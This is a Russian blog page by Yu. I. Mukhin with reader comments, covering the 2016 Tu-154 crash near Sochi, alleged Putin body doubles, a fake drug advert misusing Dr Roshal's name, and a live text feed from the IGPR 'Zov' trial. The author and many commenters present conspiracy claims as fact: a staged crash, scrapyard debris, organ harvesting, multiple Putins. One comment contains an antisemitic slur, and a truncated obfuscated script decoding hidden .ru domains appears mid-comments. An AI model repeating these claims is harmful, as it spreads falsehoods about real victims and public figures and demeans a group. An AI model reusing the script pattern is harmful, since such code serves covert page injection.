Ту-154 в Сочи
На мои замечания о странностях катастрофы Ту-154 в Сочи, комментаторы к моей статье добавили наблюдений, которые вообще обескураживают:
«Доступ к механизации и багажному отсеку одновременно имеют одни и те же люди. На момент нахождения порта в Адлере, их было четыре. Почему по ТВ объявили про трех? Зачем выдали информацию, про то что их действия контролировали лично КВС и второй? Так не бывает, об этом знают многие.
Они допрошены? Почему данные о составе смены порта засекречены? Состав экипажа? Состав пассажиров? Где это все?
Что за странный груз везла эта гражданка Канады и Израиля? Она кто, вообще, в структуре военно-галактических сил России? Что она делала на военном самолёте? Кто дал приказ на допуск ее на борт с грузом? Он арестован, допрошен?
Ее нахождение на борту во время происшествия, чем-то подтверждено?
Она везла лекарства? Тонну лекарств в воюющую страну? Это очень мало. Там одних перевязок 10 тонн в неделю расходуется».
Или:
«Если борт 85572 дозаправлялся в Адлере, то при дозаправке самолета все пассажиры покидают салон самолета. Где видео с камер наблюдения в аэропорту как люди прибывают в аэропорт, как садятся на самолет обратно? Ничего подобного нет в общем доступе! Где видео взлета самолета? Тоже нет! Но ведь этого не может быть!
Что секретного в кадрах взлета злополучного борта из Адлера? Ничего! Могли же власти опубликовать такие кадры, чтобы развеять сомнения скептиков, но тем не менее не делают этого!
Обломков очень мало, едва ли 10% от того что должно быть! Те, что есть - с признаками разделки! Должны быть сотни кресел-нет ни одного! С авиасвалок их растаскивают по дачам в первую очередь!
Нет фактов подтверждающих, что Ту-154 вообще прилетал и вылетал из Адлера!»
Ну и примечательное событие:
«Спецслужбы США предприняли тайные операции против России в рамках ответа на якобы осуществленные Москвой кибератаки, - заявил вице-президент Джозеф Байден, - Он отметил, что больше месяца назад был анонсирован ответ Вашингтона Москве. Тогда, по его словам, было объявлено о целом спектре мер, которые будут предприняты против России, в том числе, и о тайных способах. Байден заявил, что США реализовали оба сценария, - передает ТАСС, - «Что-то из того, что мы сделали, вам будет известно, что-то – нет. И мы сделали и то, и другое», — сказал Байден. Он также выразил надежду, что широкая общественность никогда не узнает о том, что же было предпринято». http://izvestia.ru/news/656026
Радует, что «широкая общественность никогда не узнает о том, что же было предпринято». Особенно, если эта общественность уже знает самое главное: «Такого не может быть потому, что такого не может быть никогда!»
И Обама лох?
На Рождество народ в СМИ заметил, что вокруг путина, молящегося в церкви на святую видеокамеру, стоят те же лица, с которыми он пару месяцев назад встречался, как с рыбаками. Народ выразил уверенность, что это агитбригада путина, а не настоящие новгородцы. Это понятно, но удивительно то, что никто из этих аналитиков СМИ, узнавших на фото третьестепенных лиц, не отметил, что путины-то были разные. На рождество был обычный путин, а вот тогда, в сентябре на озере Ильмень - совсем другой http://www.ymuhin.ru/node/1440/ya-ne-uznayu-vas-v-grime-kto-vy-takoy-s
Но не это интересно. Тут некий Слава Рабинович, из тех, кто регулярно предсказывает, что путин вот-вот уйдёт, в очередном прогнозе мельком сообщил примечательный факт: «Еще во времена G-8, но уже после российской агрессии против Грузии, Обама назвал на тот момент уже обезумевшего Путина «скучающим двоечником на последней парте», метко подметив поведение Путина за столом лидеров восьми государств, собиравшихся в формате G-8». Психологически Обама очень точно зафиксировал образ путина, ведь на саммите были реальные руководители, которые могли и говорили, о чём угодно, и только путин это был актёр, играющий роль «президента Путина». Он уже огласил слова выученной роли, и теперь, мало того, что просто не может говорить от себя ничего существенного, ну так он ещё и не понимает, о чём говорят «взрослые дяди». И ему действительно должно было быть скучно на этих встречах. Точное слово!
Но удивляет не путин, а Обама. Ведь в связи с этой его характеристикой, данной путину, возникает впечатление, что сам Обама «не в курсе дела», и искренне считал, что перед ним был не артист, а реальный президент Путин.
А это заставляет задуматься над вопросом - а вводят ли истинные кукловоды Америки в курс настоящего состояния дел избираемых президентов?
О местных наглых
Как-то обратил внимание, что на подавляющем числе сайтов, размещающих рекламу, рекламируются не товары или услуги, скажем, пиццы или такси (что было бы как-то естественно), а лекарства и медицинские услуги. Причём, рекламой занимаются весьма «медийные» лица, скажем, тот же Познер, который рекламирует спасение от сахарного диабета. И вот, наткнувшись на знакомую и редкую фамилию «Рошаль», решил зайти и посмотреть, что именно этот малоизвестный врач, но широко известный политический персонаж, рекламирует в рекламе сверхэффективного лекарства против папиллом.
При переходе к рекламе обнаружил, что сама реклама в виде интервью дана на странице сайта Минздрава РФ. Ничего себе! Однако, на самом деле это был не сайт Минздрава, а его копия, и попытка перейти с этой страницы, скажем, на главную Минздрава, вели всё к той же рекламе, но в ином виде. То есть, рекламодатели использовали для рекламы «бренд» министерства в виде точной копии страницы его сайта!
В рекламном интервью Рошаль, естественно, как бы подробно говорит о препарате, но уже этот рекламный текст заставляет насторожиться, к примеру, препарат не продаётся в аптеках, да и вообще, купить его можно только у рекламодателя. Но это недоумение, по замыслу рекламодателей, снимается разъяснением Рошаля: «…по специальному распоряжению МинЗдрава Папилюкс продаётся только внутри России. Дело в том, что объёмы производства пока ещё слишком малы и в первую очередь врачи хотят обеспечить доступ к препарату для российских больных».
Во как! Вообще-то, если лекарство дефицитное, то продают его строго по рецептам, и в как раз в аптеках.
А вот ещё ответ Рошаля на понятный вопрос:
«Корреспондент: А бальзам проходил клинические испытания?
Рошаль Л.М.: Безусловно. Иначе я бы о нём даже не заговаривал. Он прошёл серию клинических испытаний в России, сертифицировался в Берлине для продаж в Евросоюзе. И сейчас завершает циклы клинических исследований в Китае, Японии и Вьетнаме. Азиатские страны проявляются весьма живой интерес к лекарству. Испытания показали, что препарат обладает чрезвычайно высоким уровнем эффективности.
Абсолютно у всех участвовавших в испытании, бальзам убрал внешние проявления вируса - то есть уничтожил папилломы и бородавки. Анализы и наблюдение за образованием новых папиллом показали, что у 93% испытуемых активность папилломавируса человека снизилась приблизительно на 95-97%. То есть выражаясь обычным языком - до нуля. У оставшихся 7% какая-то минимальная активность вируса имела место. Но она была в 9-10 раз ниже, чем до применения Папилюкс. И новых папиллом у них практически не появлялось». http://zdorovie-blog.ru/u/?click_id=b809e24011877&country=ru
Обращаю внимание, на этот приём напёрсточника - разговор идёт как бы об исчезновении бородавок и папиллом, но числа показывают не это - не уничтожение этих образований, - а всего лишь какое-то снижение «активности» папилломовируса. То есть, вылейте на себя ведро этого бальзама, а бородавки будут расти. Но не активно.
Иными словами, вы средством воспользуетесь, и если оно прямо не нанесёт вам вред, то вам потом объяснят, что бородавки у вас остались - это да. Но вам ведь и не обещали их убрать. Вам обещали активность папилломомовируса снизить на целых 97%, а это ого-го! Ну, или «вам не повезло» и вы попали в 7% тех, на вирусы которых препарат не действует.
Меня, вообще-то, удивило, что Рошаль подписался под этим явным «разводом», правда, я всё ещё думал, что речь идёт о реальном Леониде Михайловиче Рошале, педиатре и хирурге, президенте НИИ неотложной детской хирургии и травматологии, а потом присмотрелся к справке. Оказалось, что в рекламе, отвечающий на вопросы Леонид Михайлович Рошаль, представлен как «Главврач Московской городской клинической больницы № 29, доктор медицинских наук, профессор, генерал-полковник медицинской службы Российской Федерации. Стаж работы - 33 года».
Конечно, зашёл на сайт городской клинической больницы №29 им. Н. Э. Баумана, чтобы убедиться, что главврач этой больницы Папышева Ольга Виуленовна.
То есть всё содержание рекламы - ложь. Это не удивляет.
Удивляет, с какой лёгкостью и наглостью мошенники используют для рекламы имена лиц, которые «на слуху», и названия реальных государственных и медицинских учреждений.
Ю.И. МУХИН
Посетителям
Внимание!
Трансляция из Тверского суда по делу ИГПР «Зов»
14:12 Начинаем трансляцию с заседания Тверского суда по делу ИГПР «Зов». Из-за технических проблем она начинается через несколько минут после начала заседания. Сейчас Юрия МУхин зачитывает свое ходатайство об отводе судьи Криворучко. Ранее с такими же ходатайствами выступили другие участники процесса — Барабаш и один из адвокатов. Основания — предвзятость судьи, нарушение им прав подсудимых, манера грубо обрывать выступающих. Как только один из адвокатов начал зачитывать свое ходатайство, судья его грубо прервал.
14:20 Адвокат Чернышов добавляет, что судья ведет во время суда переписку с прокурором — подает записки. Сейчас выступает Парфенов. Он также указывает, что судья не предоставляет протоколы заседаний подсудимым, что не дает им готовиться к следующему заседанию. Это говорит, что суд пристрастен и предпринимает шаги, затрудняющие вести защиту.
14:21 Адвокат Курьянович указывает, что судья не удовлетворяет ходатайства и на прошлом заседании допустил избиение посетителя заседания, спокойно взирая на действия приставов.
14:23 Курьянович, как и другие, указывают на придирки судьи к адвокатской печати Курьяновича с двуглавым орлом. Непонятно, к чему были придирки — двуглавый орел есть на гербе России, крест — христианская символика. Курьянович также говорит, что он националист, а не нацист, и завтра судья может придраться к его прическе, объявив его скинхедом.
14:25 Продолжаются проблемы со связью, когда удастся войти в твиттер, мы выложим все записи из текстовой трансляции. А пока выступает Соколов. Он говорит, что непонятно, переданы ли его жалоба по решениям Криворучко по предварительному слушанию в Мосгорсуд, его не уведомили. Также он указывает, что подсудимым так пока не объяснили суть их обвинения. Вместо этого в суде избивают посетителей.
Криворучко пытается его прервать, говоря, что речь Соколова не касается доводов по отводу, а относится к рассмотрению доказательств.
Соколов говорит, что против фигурантов совершается экстремистское преступление в виде воспрепятствования проведению референдума, и об этом свидетельствуют тома дела.
14:24 Криворучко грубо оборвал Парфеонова, дал словао прокурору. она считает, что оснований для отвода нет. Криворучко ушел совещаться с собой о своем отводе.
14:37 Перерыв. С каждым заседанием народа все больше, в большой зал добавили скамеек. Сейчас впускают тех, кто не успел к началу. Среди них два сына подсудимых, два подростка.
14:45 Криворучко себя не отвел. Продолжаем. Выступает Курьяович. Он говорит, что не была проведена проверка по заявлениям подсудимых о совершении против них преступлений. И у них есть основания полагать, что прокурор и судья заинтересованы в определенном исходе следствия.
14-50 Мухин также заявляет отвод. Подсудимым не дают заявить ходатайства, обрывают, унижают достоинство. Прокурор игнорирует нарушение закона. Адвокат Чернышев: прокурор заинтересован в определенном исходе дела, потому что относит себя к группе «власть», в разжигании ненависти к которой обвиняют его подсудимого. То есть прокурор подлежит отводу.
14-53 Парфенов: прокурор имитирует работу — на прошлом заседании занимался перечислением шапок дел (Крворучко перебивает), игнорирует избиение в судебном зале человека, то есть не исполняет свои обязанности и подлежит отводу. Ходатайство поддерживает Соколов (прокурор игнорирует преступления, совершенные против обвиняемых) — Криворучко прерывает.
14-56 Поддерживает Барабаш. Адвокат СУханов- может идти речь о взаимосвязи судьи и прокурора. Судья не мотивирует отводы ходатайств в нарушении УПК, поддерживая обвинение.
14-59 Криворучко удаляется совещаться об отводе прокурора Фроловой.
15-00 Криворучко Фролову не отвел. Мухин возражает, отмечая, что отвод ходатайства не запрещает повторную его подачу. Пытается подать ходатайство об отводе дела в прокуратуру. Криворучко говорит, что рассмотрит потом. Когда потом — не уточняет.
15-12 Парфенов требует, чтобы ему вернули какие-то вещи, Барабаш требует, чтобы ему дали ознакомитьс с новыми томами дела. Криворучко отводит.
15-14 Прокурор зачитывает состав обвинения. Подсудимым вменяется содержание офиса, вербовку и обучение там новых членов, выпуск газеты Слова и дела. По газете была назначена экспертиза.
Прокурор говорит, что ИГПР продолжала деятельность запрещенной АВН. По газете была назначена экспертиза, которая должна установить преемственность и роль Соколова, как организатора деятельности ИГПР.
В числе вменяемых действий — участие в митингах и шествиях, подготовка референдума и ‘обучение конспирации’ новых членов.
15-21 . Экспертиза выявила подозрительные статьи в газете. Статьи перечисляются — они относятся к 2014 году, среди авторов — Соколов и Барабаш, тематика статей стандартная политическая.
Статьи, которые подлежат экспертизе — в выпусках 2014-2015 гг Обиженное следствие Барабаша, Обама, тебя я презираю, Мухин, Былое и думы.Также вменяется анонс творческого вечера.
Экспертиза выявила экстремизм — пропаганду деятельности ИГПР Зов и формирование у читателей побуждения следовать идеологии ИГПР Зов.
Еще одна статья, которую изучала экспертиза — «Отзыв на бессовестную экспертизу’
15-48 далее прокурор перечисляет этапы запрета АВН, апелляции, признания экстремистским различных статьей АВН, предупреждения о недопущении экстремистской деятельности мухинской газете «К барьеру».ё
15-51 Фролова, в сущности, механически зачитывает названия материалов дела и некоторые выводы из них, причем две части зачитываемых материалов — доказанной деятельности ИГПР Зов (они и не скрывались) и запрета деятельности АВН никак не связаны друг с другом. Ничто из слов прокурорши не доказывает эту связь.
16-00 Начался рассказ о поиске экстремистских материалов в газете «К барьеру».
16-03 Продолжается утомительное зачитывание «шапок» документов. В зале нечем дышать. Тем временем продолжается перечисление найденного и не найденного экстремизма у «Дуэли» Мухина.
16-11 Прокурорша задумчиво листает том, забыв, кажется, что находится в суде. Утомленные люди начинают общаться и ерзать. Пристав предупреждает, что выведет двоих особо говорливых.
16-14 Криворучко не выдержал и объявил перерыв
16-18 Вернулся. Фролова продолжает молча изучать тома 9-11.
16-24 Фролова — совсем молодая женщина. На ее лице отпечатались удивление и недоумение, похоже, она впервые видит материалы этого дела.
16-30 Фроловой принесли еще три тома для изучения.Начала с т. 13. Слушаем историю запрета статей «Дуэли» и текста «Ты избрал — тебе судить» (программного текста АВН).
16-55 Дошли до обысков и изъятия материалов по сайту ИГПР Зов и приобщения к делу речей Барабаша.
17-04 Упоминаются протоколы обысков и перечни приобщенных к делу материалов — повязки, значки, баннеры, стикеры, флаги.
17:29 Прокурорша закончила 13-й том и взяла в руки 14-й. Адвокат Курьянович подал ходатайство о перерыве. Криворучко резко отклонил. Люди начали возмущаться, судья потребовал удалить из зала одну из старушек. Ну хотя бы не били.
17:31 Фролова сама попросила перерыв до следующего дня.
Следующее заседание назначено на 25 января в 14-00. В зале в истерике залаяла и заскулила служебная собака, утомленная прокурором Фроловой.
Ну а мы прощаемся. Спасибо всем, кто следил за нашей трансляцией!
www.rod-pravo.org/translyaciya-iz-tverskogo-suda-po-delu-igpr-zov/
Заседание Тверс ... "суда"
Внимательно слежу за ходом этого произвола , но
дело то вот в чем ... В защиту "узников" совести мной
так же было направлено ходатайство по представлению
правомочности "суда" судить Граждан СССР. Но почемуто
это ходатайство было проигнарировано ... Хотелось бы знать
почему и как принудить это судилище соблюдать все нормы,
на 25 Я вновь направлю ходатайство по эл-почте ,так как Я
нахожусь в деревне , а можно ли адвокатам както содействовать
в том чтобы оглашали и ходатайства полученные "судом" и по эл-
почте ведь принимая моё обращение оно было зарегистрировано.
По гос доставки письменное ходатайсво еще в пути , хотя оно от-
правлено 5 го. Есть ли возможность или что нибудь в таком случае ...?
Зачем кукловодам нужны самолеты?
Ясно же что в море побросали детали\обломки со свалки.
Может пассажиров и пилотов разобрали на органы?
И списали на "катастрофу".
Копия страницы сайта Минздрава
преподносимая в качестве настоящей реальной страницы - это криминал вообще-то.
То, что вместо реального главврача называют другого человека - тоже, обман и мошенничество, даже если бы за это денег не просили, и то было бы злостное хулиганство. И посягательство на святое авторское право.
А вы пишете - пакет Яровой, тотальный контроль...
Никто ни за чем не следит.
За кем надо, за тем и следят
За кем надо, за тем и следят
"Никто ни за чем не
"Никто ни за чем не следит."
Да нет следят и ещё как следят. За Мухиным следят, недавно в Петербурге задержали человека, который лекцию по йоге читал, за многими выискивают нарушения буквально под микроскопом и если ничего не найдут шьют дела просто так. А вот за теми кто так нагло использует сайт министерства и имена знаменитостей не следят. Видимо они силовикам неинтересны, либо принадлежат к сословию, которое само решает за кем следить а за кем нет.
Очень люблю двух авторов .
Очень люблю двух авторов . Только их и читаю каждый день
Это : Ю.И. и Эль Мюрид
Вот что вчера написал Эль Мюрид по поводу статей ЮИ:
Вторая странность, отмеченная Мухиным - характер повреждения тел. Совершенно не отвечающий официальной версии. Такие повреждения получить на самой начальной фазе полета можно только при взрыве, но если вызрыва не было - тогда возникает вопрос: а может, все-таки скорость и высота были совсем другими? И почему тогда нужно врать про этот параметр полета?
Вообще, ситуация очень похожа на март 16 - 14 марта в Москву прибывает министр иностранных дел Туниса, встреча проходит днем, а через несколько часов Путин, Лавров и Шойгу внезапно собираются и совершенно неожиданно для всех объявляют о победе в Сирии и выводе войск. Предшествуют ультимутуму масштабнейшие учения "Северный гром" 20 стран ЛАГ с угрозой перерастания учений в операцию "Северный шторм" на юге Сирии с участием уже не только стран ЛАГ, но и стран НАТО - во всяком случае участие подразделений армии Великобритании именно в "Северном шторме" (а не в "Северном громе") анонсировано еще в начале февраля - за три недели до учений.
25 декабря падает самолет Ту, и снова неожиданно заявление о победе и о сокращении присутствия.
Полное впечатление, что в обоих случаях речь идет об ультиматумах. Просто в первом случае ультиматум был озвучен прямо, хотя и после месячной открытой подготовки, во втором - более туманно, потребовалось время.
И Обама лох?
"А это заставляет задуматься над вопросом-а вводят ли истинные кукловоды Америки в курс настоящего состояния дел избираемых президентов?"-врядли. Если шестипутину надо играть некоего путина и всё, можно ковыряться в носу, то Обаме надо кучу текста декламировать и играть не некоего обаму, а всёж президента. Иначе, его кукловоды любимых бананов лишат, а то и жопе инквизицию устроят (не пристало президенту оплота демократии в носу-то..в отличие от президента империи зла. Голливуд рулит). С другой стороны, узнав, что путиных ажно шесть штук, а он один за всех потеет, как Ардова, Обама и на расизм кукловодов обидеться может...тексты забывать начнёт, в уныние впадать и прочий депрессняк. "Многие знания-многие печали".
Большинство "вопросов" - сплошной вздор
Такое ощущение что вопрошающие с Луны свалились и никогда не видели телевизора (российского, по крайней мере))... Состав экипажа и пассажиров известен и список всех погибших был представлен "на общее обозрение" тоже; Доктор Лиза летела отдельно от собственного груза медикаментов, который, кстати, был благополучно доставлен другим военным бортом. Она сопровождала свой собственный груз медикаментов (в составе иного - от имени правительства РФ) в более комфортных условиях, и пусть это даже символическая акция - что в этом странного и необычного (может Кремль желал её на нобелевскую премию мира "выдвинуть" супротив "белых касок" - тут уже сплошная "политика"!)??? По официальным сообшениям, при заправке самолёта в Адлере - его пассажиры борт не покидали и в практике военных и специальных "бортов" это вполне допустимо, взлёт самолёта из Адлера тоже показывали по каналам российского телевидения - снятый с камер видеонаблюдения вдоль ВПП... Короче говоря, вся "таинственность" высосана из пальца и остаются лишь претензии к "тайне следствия" - на что безусловно "компетентные органы" имеют полное право. Надо лишь дождаться официальных итоговых "вывводов комиссии" и реакции Кремля, а не бежать "впереди паровоза" - заглушая своим визгом "паровозные гудки" и, лишь затем высказывать собственное суждение в оценках действий политического руководства страны
С Чахликом согласен.
С Чахликом согласен. Конечно, каждый вправе иметь свое мнение, только лучше таковое иметь не из предположений. а из знания совокупности фактов и не из единственного желания лягнуть власть. Следствие идет, давайте подождем результатов. И потом: наверное, все-таки, постороннее вмешательство; однако, что об этом сказать. как и когда сказать, отбросив эмоции, - это не нам решать, а более сведующим и с учетом госинтересов. Возможно, и не все скажут, но это надо понимать и к тому готовиться.
window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
Спасибо за полезный совет - телевизор смотреть.
Он ведь всю правду говорит!
А вот сколько раз по тому самому телевизору сказали, как Мухина с пляжа в кутузку уволокли и как до сих пор не могут придумать, за что же они его судят?
Уж и немалая часть коллег криворучек балалайкиных подалась в места не столь отдаленные, а остальным урок не впрок.
Примечательным событием
Примечательным событием является посадка в этом году Путина на монархический трон.Уже все СМИ трезвонят об этом как о необходимости.А может он настоящий?
Боже, Царя храни!
Чай - не дураки были наши предки, всё-таки...)))))???
А может он настоящий?
Трон-то? Настоящий.
Катастрофа Ту-154 в Сочи
Уважаемый Юрий Игнатьевич!
Прежде чем писать на темы авиакатастроф, загляните пожалуйста на сайт avia.ru Там есть форум, на котором любое подобное событие сразу начинает обсуждаться и с которого многие СМИ черпают информацию. Причём, основная масса участников форума на дух не переносят официоз и не верят тому, что показывают по ТВ. Надеюсь, это поможет избежать всех тех глупостей, которые опубликованы в начале статьи про отсутствие видеозаписей,неизвестный состав пассажиров и т.д.
А как вам такая информация из Интернета...?
Оказывается, 8 декабря Доктор Лиза получала государственную премию (за что, от кого и где - не сказано). Раз она член Президентского совета, то вероятно в Кремле получала. При этом загнула речугу, в которой сказала, что "завтра я лечу в Донбас, а оттуда - в Сирию". После чего высказала мысль, что "мы можем погибнуть и не вернуться" - в таком духе. Мне сразу вспомнилось сказанное сотрудниками её организации сразу после катастрофы. Они сообщили, что Доктор Лиза отдавала распоряжения и пожелания на случай своего невозвращения по причине того что крякнется.
Вот ещё одна сраная Ванга нашлась! Предсказательница, блин! Мне всё это внушает активные подозрения и принципиальные несогласия с официальной версией "катастрофы самолёта".
Вопрос: если она летела в Донбасс 9 декабря, то как она могла оттуда полететь в Сирию? Если вернулась в Москву, то должна была бы сказать "а потом полечу в Сирию". Она же сказала: "оттуда полечу в Сирию".
Если эта особа так знаменита, почему никак не освещается её последний визит в Донбасс? Что и когда она там делала? Откуда всё-таки полетела в Сирию? Ладно, допустим, из Донбасса она поехала в Сочи и там села в самолёт. Конечно, всё это должно попасть на видео и в этих кадрах нет ничего секретного. Но если её на самом деле в самолёте не было... то кадры - секретные. Особенно потому что их нет. Обленились, сволочи, фальсификаторы. Нет бы, как в случае с "убийством Немцова" издалека показать бы фигуру идущую к самолёту с мешком "медикаментов", поднимающуюся по трапу! В самолёт! Я бы пролил скупую мужскую слезу! А теперь вот упорно в голове крутится, что жива, падла, сидит где-то с Немцовым и сыном Януковича водку пьёт и над нами, лохами, смеётся. Ох, ты - Господи-и-и!!! Грехи наши тяжкие-е-е!
Что касается Рошаля, то я не сомневаюсь, что с ним есть тайная договорённость и ему отстёгивают бабки. Чтобы еврей - да на таком гешефте не погрел руки! ...Может такое в системе Сириуса в порядке исключения и произойдёт.
Несколько дней был в
Агинтесса закатила медовый
Агинтесса закатила медовый месяц. Избранника покажи. Хватит скрывать.
И за то что ты взялся, умом не называется.
Опустился Кролл. Раньше
Опустился Кролл. Раньше воспринимался хотя бы прикольным. А сейчас начинает появляться гадливое чувство к нему. Не потому, что троллит, а потому, что жить без сайта не может. Заметьте меня, заметьте - я на Кубе был! Да был и был, всем же пофиг
Заметьте меня, заметьте - я
Верно сказано!
А тролит то как дешево, толсто. Прям настоящий жирнющий троль!
Зависть.
==А сейчас начинает появляться гадливое чувство к нему.===
Это зависть. Смертный грех. Держите себя в рках.
И ещё - было бы во фиг, не реагировали бы так истерично.
Гость из Питера: это зависть
Пожалуйста, объясните, чему тут завидовать.
Допустим, у меня нет возможности прокатиться на лайнере до Кубы, но ведь и потребности такой нет.
А если потребности совпадают с возможностями, то откуда возьмётся зависть?
Мне вот интересно, откуда у людей возникают потребности в лайнерах, кубах и гондурасах. И действительно ли это природные потребности, или всё-таки скорее навязчивые идеи, которые некто навязал уважаемому Кролу, а он теперь пытается навязать окружающим. По-моему, без особого успеха.
Luden:"...уважаемому Кролу,
Luden:"...уважаемому Кролу, а он теперь пытается..."
Мне понятно Ваше желание понять уважаемого. Тем самым простить его выпады. А у него просто работа такая, ничего личного.
У С.Б.Морозова есть пост "Околосинагога". Почитайте
и давно продался за полторы
Ой ё! Желудок перешел уже к откровенной клевете. А во-вторых, тыж скотинка сам подзавязку забит этими паршивыми баксами(с). Неужели каждый раз икота пробирает, когда твоя ручошка доллары держит?
Ты себя в зеркало то видел? Пьянь...
Рушащийся социализм на Кубе
То есть, гостюшка, ты нас призываешь слетать на Кубу, чтобы посмотреть, как там всё рушится? Пасибки, блин, но мы этого добра и у себя в 1989-91 гарно бачили. Что сказать-то хотел, наследник питерских опортунистов?
крол
Уроды говоришь ? Ну и тебе не болеть, бревно, с ушами волосатыми. :-)
Владимир136
Что удивляет: сначала говорили о 3-4 версиях причины трагедии.
После поднятия чёрных ящиков заговорили о сокращении вдвое числа версий. В данный же момент говорят уже о 7 (!) версиях, а точнее - об "около 7 версий". Последнее и не понятно: что это такое "около 7" - 6,8 или 7,3?
В Минобороны опровергли сообщения о вине второго пилота в катастрофе Ту-154
11:53, 10 января 2017
Фото: РИА Новости
В Минобороны России опровергли сообщения СМИ о том, что причины катастрофы Ту-154, который упал в Черное море 25 декабря, установлены. Об этом сообщает ТАСС.
По словам официального представителя ведомства Игоря Конашенкова, публикация Life — «абсолютный бред и выдумка издания». В министерстве добавили, что комиссия по расследованию продолжает работу, и до ее завершения недопустимо и аморально пытаться «голословно обвинять кого-то и выдумывать какие-то выводы».
Ранее во вторник, 10 января, Life опубликовал материал c заголовком «Загадка крушения Ту-154 раскрыта». Как говорится в публикации, эксперты Минобороны считают, что самолет разбился из-за ошибки второго пилота, который перепутал при взлете рычаги управления и вместо шасси убрал закрылки, а также из-за малой высоты и перегруза. Life утверждает, что такие выводы сделаны после полной расшифровки черных ящиков.
По словам летчика Максима Чистова, которые приводит kp.ru, на самом деле рычаги управления шасси и закрылков в «тушке» находятся рядом, но перепутать их трудно. «Тем более, ребята в кабине находились опытные, и все действия у них должны быть доведены до автоматизма», — добавил он.
27 декабря сообщалось, что эксперты расшифровали запись бортового самописца Ту-154. Отмечалось, что разговор экипажа прерывается восклицанием одного из пилотов: «Закрылки, сука!» После этого звучат слова: «Командир, падаем!»
Через несколько дней начальник службы безопасности полетов авиации Вооруженных сил России Сергей Байнетов заявил, что фраза, которую произнес командир экипажа, указывает только на начало развития на борту особой ситуации, которая длилась 10 секунд.
Направлявшийся в Сирию самолет Ту-154 упал в акватории Черного моря вскоре после вылета из аэропорта Сочи 25 декабря (здесь борт, следовавший из подмосковного Чкаловского, приземлился для дозаправки). В результате погибли 92 человека, в частности артисты ансамбля песни и пляски имени Александрова, журналисты, исполнительный директор фонда «Справедливая помощь» Елизавета Глинка (известная как Доктор Лиза). Рассматривается около семи версий произошедшего, в том числе человеческий фактор, отказ техники, сдвиг ветра и столкновение с птицей.
https://lenta.ru/news/2017/01/10/konashenkov/
Уважаемый Н.Кучма!
А была ли она? Катастрофа? Как говорил Преображенский катастрофа (разруха) - она в головах! Кто знает, как выглядят спасательные жилеты в Ту-154 ?
Под пару сотен спасательных жилетов, как минимум половина должна всплыть, даже в не надутом состоянии.
Очень много чего должно было всплыть, багаж, еда, посуда, обувь, коврики, "154 фрагмента тел", Лизины коробки, парадная форма оркестра, 39 тонн керосина, тонна масла из гидросистем....
Много тонн плавучего, всё должно было занять большую площадь на тихой воде.
Кроме того, на такое пиршество должны были слететься птицы, которых там ночью очевидцы заприметили.
Ничего этого не было.
Никто не обратил внимания, ни герои России, ни депутаты, ни родственники.
И уроды, которых представляют "экспертами", тоже ни словом не обмолвились, хотя у них по 14 лет опыта, а у кого и больше... Так что на первый взгляд таки да - страшное горе, а при ближайшем рассмотрении ложь и извращение фактов... Господь между нами!
первый канал не может врать...
Объявилась при дерьмократии новая профессия - Врать народу! Врут все СМИ, без всякого угрызения совести журналюги отрабатывают свои пайковые зарплаты.
Отправить комментарий